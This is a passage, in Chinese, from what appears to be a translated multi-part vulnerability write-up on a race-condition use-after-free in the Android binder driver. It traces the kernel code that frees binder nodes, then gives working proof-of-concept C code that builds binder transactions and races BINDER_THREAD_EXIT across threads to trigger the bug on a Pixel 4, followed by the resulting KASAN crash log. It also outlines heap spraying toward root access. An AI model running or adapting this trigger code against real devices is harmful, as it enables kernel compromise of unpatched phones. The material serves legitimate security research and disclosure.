（接上文）

　　到此为止，我们只考察了发送方线程这边的情况。现在，我们将解释接收端需要执行哪些操作才能释放节点。

　　实际上，负责释放节点的函数是binder_free_node。

　　static void binder_free_node(struct binder_node *node)

　　{

　　kfree(node);

　　binder_stats_deleted(BINDER_STAT_NODE);

　　}

　　这个函数在代码内多个不同的地方都有调用，但我们感兴趣的路径是当binder接收到BC_FREE_BUFFER事务命令时的那条。之所以选择该代码路径，是基于如下两个方面的考虑的。

　　首先，并不是所有的进程都可以注册为binder服务的。尽管仍然有可能通过滥用ITokenManager服务来实现这一点，但我们选择使用已经注册的服务（例如servicemanager，gpuservice等）。

　　第二个原因是，由于我们选择与现有服务进行通信，因此必须在其中一个中使用现有代码路径，这样我们才能释放节点。

　　幸运的是，BC_FREE_BUFFER就是这种情况，binder服务在处理完事务后会使用BC_FREE_BUFFER进行清理。下面给出了一个带有servicemanager的示例。

　　在binder_parse中，当响应事务时，服务管理器将调用binder_free_buffer（如果它是单向事务）或binder_send_reply。

　　int binder_parse(struct binder_state *bs, struct binder_io *bio,

　　uintptr_t ptr, size_t size, binder_handler func)

　　{

　　// [...]

　　switch(cmd) {

　　// [...]

　　case BR_TRANSACTION_SEC_CTX:

　　case BR_TRANSACTION: {

　　// [...]

　　if (func) {

　　// [...]

　　if (txn.transaction_data.flags & TF_ONE_WAY) {

　　binder_free_buffer(bs, txn.transaction_data.data.ptr.buffer);

　　} else {

　　binder_send_reply(bs, &reply, txn.transaction_data.data.ptr.buffer, res);

　　}

　　}

　　break;

　　}

　　// [...]

　　在这两种情况下，servicemanager都将返回BC_FREE_BUFFER。现在，我们开始介绍该命令是如何释放由发送线程创建的binder节点的。

　　当目标服务用BC_FREE_BUFFER进行响应时，事务由binder_thread_write进行处理。执行流将流经BC_FREE_BUFFER分支，最后将调用binder_transaction_buffer_release：

　　static int binder_thread_write(struct binder_proc *proc,

　　struct binder_thread *thread,

　　binder_uintptr_t binder_buffer, size_t size,

　　binder_size_t *consumed)

　　{

　　// [...]

　　case BC_FREE_BUFFER: {

　　// [...]

　　binder_transaction_buffer_release(proc, buffer, 0, false);

　　// [...]

　　}

　　// [...]

　　然后，bind_transaction_buffer_release函数将查看存储在缓冲区中的对象的类型，在本例中为BINDER_TYPE_WEAK_HANDLE或BINDER_TYPE_HANDLE（因为binder对象通过binder时会被转换为句柄），并开始释放它们。

　　static void binder_transaction_buffer_release(struct binder_proc *proc,

　　struct binder_buffer *buffer,

　　binder_size_t failed_at,

　　bool is_failure)

　　{

　　// [...]

　　switch (hdr->type) {

　　// [...]

　　case BINDER_TYPE_HANDLE:

　　case BINDER_TYPE_WEAK_HANDLE: {

　　struct flat_binder_object *fp;

　　struct binder_ref_data rdata;

　　int ret;

　　fp=to_flat_binder_object(hdr);

　　ret=binder_dec_ref_for_handle(proc, fp->handle,

　　hdr->type==BINDER_TYPE_HANDLE, &rdata);

　　// [...]

　　} break;

　　// [...]

　　然后，inder_transaction_buffer_release函数将调用binder_dec_ref_for_handle，后者是binder_update_ref_for_handle的封装器。

　　binder_update_ref_for_handle将递减对句柄的引用，并通过binder_dec_ref_olocked递减对binder节点的引用。

　　static int binder_update_ref_for_handle(struct binder_proc *proc,

　　uint32_t desc, bool increment, bool strong,

　　struct binder_ref_data *rdata)

　　{

　　// [...]

　　if (increment)

　　ret=binder_inc_ref_olocked(ref, strong, NULL);

　　else

　　delete_ref=binder_dec_ref_olocked(ref, strong);

　　// [...]

　　if (delete_ref)

　　binder_free_ref(ref);

　　return ret;

　　// [...]

　　}

　　在调用binder_free_node之后，binder节点将被释放。

　　static void binder_free_ref(struct binder_ref *ref)

　　{

　　if (ref->node)

　　binder_free_node(ref->node);

　　kfree(ref->death);

　　kfree(ref);

　　}

　　在深入讨论该漏洞的利用过程之前，让我们先来简要介绍一下触发UAF漏洞所需的步骤。

　　首先，我们需要一个处于用户控制之下的线程，将事务发送到系统控制的binder服务（例如servicemanager）。同时，发送方创建包含BINDER_TYPE_BINDER的事务，并将其发送到binder。然后，Binder创建与BINDER_TYPE_BINDER对象相对应的binder_node，并将其发送到ServiceManager。

　　

　　随后，发送方使用BINDER_THREAD_EXIT停止与binder的通信，这将启动清理过程，最终调用易受攻击的函数binder_release_work，该函数将binder节点从thread->todo中移除。

　　

　　最后，如果时机合适，接收者将在binder节点出列之后、使用之前，用BC_FREE_BUFFER释放binder节点来响应我们之前的事务。

　　

　　此时，通过一些喷射操作，可以用另一个对象替换binder节点，并控制binder_work结构体中的type字段来篡改binder的执行流程。

　　static void binder_release_work(struct binder_proc *proc,

　　struct list_head *list)

　　{

　　struct binder_work *w;

　　while (1) {

　　w=binder_dequeue_work_head(proc, list);

　　if (!w)

　　return;

　　switch (w->type) {

　　// [...]

　　下一部分将在详细说明可用于在Pixel 4设备上获得root用户访问权限的详细利用过程之前，通过简单的概念证明来说明如何触发该漏洞。

　　在尝试为该漏洞编写完整的exploit之前，让我们先来尝试触发在Pixel 4设备上运行的、启用KASAN功能的内核漏洞。这篇文章详细介绍了为Pixel设备构建KASAN内核的详细步骤。

　　概念证明可以分为三个阶段：

　　生成能够触发漏洞的事务

　　将该事务和BINDER_THREAD_EXIT发送到binder

　　使用多个线程更有效地触发静态条件

　　首先，让我们看一下我们需要发送的事务。为此，至少需要一个BINDER_TYPE_BINDER或BINDER_TYPE_WEAK_BINDER对象。我们可以发送多个消息来触发该漏洞，因为thread->todo中的节点越多，执行给定事务的可能性就越大，也就有更多的机会来触发该漏洞。

　　根据binder事务的格式，我们可以使用以下布局生成一个binder事务：

　　

　　下面的函数可用于创建一个如上所示的事务。

　　static inline void init_binder_transaction(int nb) {

　　for (int i=0; i < nb; i++) {

　　struct flat_binder_object *fbo=

　　(struct flat_binder_object *)((void*)(MEM_ADDR + 0x400LL + i*sizeof(*fbo)));

　　fbo->hdr.type=BINDER_TYPE_BINDER;

　　fbo->binder=i;

　　fbo->cookie=i;

　　uint64_t *offset=(uint64_t *)((void *)(MEM_ADDR + OFFSETS_START + 8LL*i));

　　*offset=i * sizeof(*fbo);

　　}

　　struct binder_transaction_data btd2={

　　.flags=TF_ONE_WAY,

　　.data_size=0x28 * nb,

　　.offsets_size=8 * nb,

　　.data.ptr.buffer=MEM_ADDR + 0x400,

　　.data.ptr.offsets=MEM_ADDR + OFFSETS_START,

　　};

　　uint64_t txn_size=sizeof(uint32_t) + sizeof(btd2);

　　*(uint32_t*)(MEM_ADDR + 0x200)=BC_TRANSACTION;

　　memcpy((void*)(MEM_ADDR + 0x204), &btd2, sizeof(btd2));

　　struct binder_write_read bwr={

　　.write_size=txn_size * (1), // 1 txno

　　.write_buffer=MEM_ADDR + 0x200

　　};

　　memcpy((void*)(MEM_ADDR + 0x100), &bwr, sizeof(bwr));

　　}

　　下一步是打开与binder的通信通道，发送事务，并用BINDER_THREAD_EXIT关闭该通道：

　　void *trigger_thread_func(void *argp) {

　　unsigned long id=(unsigned long)argp;

　　int ret=0;

　　int binder_fd=-1;

　　int binder_fd_copy=-1;

　　// Opening binder device

　　binder_fd=open("/dev/binder", O_RDWR);

　　if (binder_fd < 0)

　　perror("An error occured while opening binder");

　　for (;;) {

　　// Refill the memory region with the transaction

　　init_binder_transaction(1);

　　// Copying the binder fd

　　binder_fd_copy=dup(binder_fd);

　　// Sending the transaction

　　ret=ioctl(binder_fd_copy, BINDER_WRITE_READ, MEM_ADDR + 0x100);

　　if (ret !=0)

　　debug_printf("BINDER_WRITE_READ did not work: %d", ret);

　　// Binder thread exit

　　ret=ioctl(binder_fd_copy, BINDER_THREAD_EXIT, 0);

　　if (ret !=0)

　　debug_printf("BINDER_WRITE_EXIT did not work: %d", ret);

　　// Closing binder device

　　close(binder_fd_copy);

　　}

　　return NULL;

　　}

　　最后，让我们启动多个线程，以更快地触发该漏洞。

　　int main() {

　　pthread_t trigger_threads[NB_TRIGGER_THREADS];

　　// Memory region for binder transactions

　　mmap((void*)MEM_ADDR, MEM_SIZE, PROT_READ | PROT_WRITE,

　　MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);

　　// Init random

　　srand(time(0));

　　// Get rid of stdout/stderr buffering

　　setvbuf(stdout, NULL, _IONBF, 0);

　　setvbuf(stderr, NULL, _IONBF, 0);

　　// Starting trigger threads

　　debug_print("Starting trigger threads");

　　for (unsigned long i=0; i < NB_TRIGGER_THREADS; i++) {

　　pthread_create(&trigger_threads[i], NULL, trigger_thread_func, (void*)i);

　　}

　　// Waiting for trigger threads

　　for (int i=0; i < NB_TRIGGER_THREADS; i++)

　　pthread_join(trigger_threads[i], NULL);

　　return 0;

　　}

　　在启用KASAN的易受攻击内核上运行PoC后，如果成功触发了漏洞，那么一段时间后，dmesg中应该会出现以下消息：

　　<3>[81169.367408] c6 20464==================================================================

　　<3>[81169.367435] c6 20464 BUG: KASAN: use-after-free in binder_release_work+0x84/0x1b8

　　<3>[81169.367469] c6 20464 Read of size 4 at addr ffffffc053e45850 by task poc/20464

　　<3>[81169.367481] c6 20464

　　<4>[81169.367498] c6 20464 CPU: 6 PID: 20464 Comm: poc Tainted: G S W 4.14.170-g551313822-dirty_audio-g199e9bf #1

　　<4>[81169.367507] c6 20464 Hardware name: Qualcomm Technologies, Inc. SM8150 V2 PM8150 Google Inc. MSM sm8150 Flame (DT)

　　<4>[81169.367514] c6 20464 Call trace:

　　<4>[81169.367530] c6 20464 dump_backtrace+0x0/0x380

　　<4>[81169.367541] c6 20464 show_stack+0x20/0x2c

　　<4>[81169.367554] c6 20464 dump_stack+0xc4/0x11c

　　<4>[81169.367576] c6 20464 print_address_description+0x70/0x240

　　<4>[81169.367594] c6 20464 kasan_report_error+0x1a0/0x204

　　<4>[81169.367605] c6 20464 kasan_report_error+0x0/0x204

　　<4>[81169.367619] c6 20464 __asan_load4+0x80/0x84

　　<4>[81169.367631] c6 20464 binder_release_work+0x84/0x1b8

　　<4>[81169.367644] c6 20464 binder_thread_release+0x2ac/0x2e0

　　<4>[81169.367655] c6 20464 binder_ioctl+0x9a4/0x122c

　　<4>[81169.367680] c6 20464 do_vfs_ioctl+0x7c8/0xefc

　　<4>[81169.367693] c6 20464 SyS_ioctl+0x68/0xa0

　　<4>[81169.367716] c6 20464 el0_svc_naked+0x34/0x38

　　<3>[81169.367725] c6 20464

　　<3>[81169.367734] c6 20464 Allocated by task 20464:

　　<4>[81169.367747] c6 20464 kasan_kmalloc+0xe0/0x1ac

　　<4>[81169.367761] c6 20464 kmem_cache_alloc_trace+0x3b8/0x454

　　<4>[81169.367774] c6 20464 binder_new_node+0x4c/0x394

　　<4>[81169.367802] c6 20464 binder_transaction+0x2398/0x4308

　　<4>[81169.367816] c6 20464 binder_ioctl_write_read+0xc28/0x4dc8

　　<4>[81169.367826] c6 20464 binder_ioctl+0x650/0x122c

　　<4>[81169.367836] c6 20464 do_vfs_ioctl+0x7c8/0xefc

　　<4>[81169.367846] c6 20464 SyS_ioctl+0x68/0xa0

　　<4>[81169.367862] c6 20464 el0_svc_naked+0x34/0x38

　　<3>[81169.367868] c6 20464

　　<4>[81169.367936] c7 20469 CPU7: update max cpu_capacity 989

　　<3>[81169.368496] c6 20464 Freed by task 594:

　　<4>[81169.368518] c6 20464 __kasan_slab_free+0x13c/0x21c

　　<4>[81169.368534] c6 20464 kasan_slab_free+0x10/0x1c

　　<4>[81169.368549] c6 20464 kfree+0x248/0x810

　　<4>[81169.368564] c6 20464 binder_free_ref+0x30/0x64

　　<4>[81169.368584] c6 20464 binder_update_ref_for_handle+0x294/0x2b0

　　<4>[81169.368600] c6 20464 binder_transaction_buffer_release+0x46c/0x7a0

　　<4>[81169.368616] c6 20464 binder_ioctl_write_read+0x21d0/0x4dc8

　　<4>[81169.368653] c6 20464 binder_ioctl+0x650/0x122c

　　<4>[81169.368667] c6 20464 do_vfs_ioctl+0x7c8/0xefc

　　<4>[81169.368684] c6 20464 SyS_ioctl+0x68/0xa0

　　<4>[81169.368697] c6 20464 el0_svc_naked+0x34/0x38

　　<3>[81169.368704] c6 20464

　　<3>[81169.368735] c6 20464 The buggy address belongs to the object at ffffffc053e45800

　　<3>[81169.368735] c6 20464 which belongs to the cache kmalloc-256 of size 256

　　<3>[81169.368753] c6 20464 The buggy address is located 80 bytes inside of

　　<3>[81169.368753] c6 20464 256-byte region [ffffffc053e45800, ffffffc053e45900)

　　<3>[81169.368767] c6 20464 The buggy address belongs to the page:

　　<0>[81169.368779] c6 20464 page:ffffffbf014f9100 count:1 mapcount:0 mapping: (null) index:0x0 compound_mapcount: 0

　　<0>[81169.368804] c6 20464 flags: 0x10200(slab|head)

　　<1>[81169.368824] c6 20464 raw: 0000000000010200 0000000000000000 0000000000000000 0000000100150015

　　<1>[81169.368843] c6 20464 raw: ffffffbf04e39e00 0000000e00000002 ffffffc148c0fa00 0000000000000000

　　<1>[81169.368867] c6 20464 page dumped because: kasan: bad access detected

　　<3>[81169.368882] c6 20464

　　<3>[81169.368894] c6 20464 Memory state around the buggy address:

　　<3>[81169.368910] c6 20464 ffffffc053e45700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

　　<3>[81169.368955] c6 20464 ffffffc053e45780: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

　　<3>[81169.368984] c6 20464 >ffffffc053e45800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

　　<3>[81169.368997] c6 20464 ^

　　<3>[81169.369012] c6 20464 ffffffc053e45880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb

　　<3>[81169.369037] c6 20464 ffffffc053e45900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

　　<3>[81169.369049] c6 20464==================================================================

　　在本系列文章中，我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。由于篇幅过长，我们将分多篇文章发表，更多精彩内容，敬请期待！

　　（未完待续）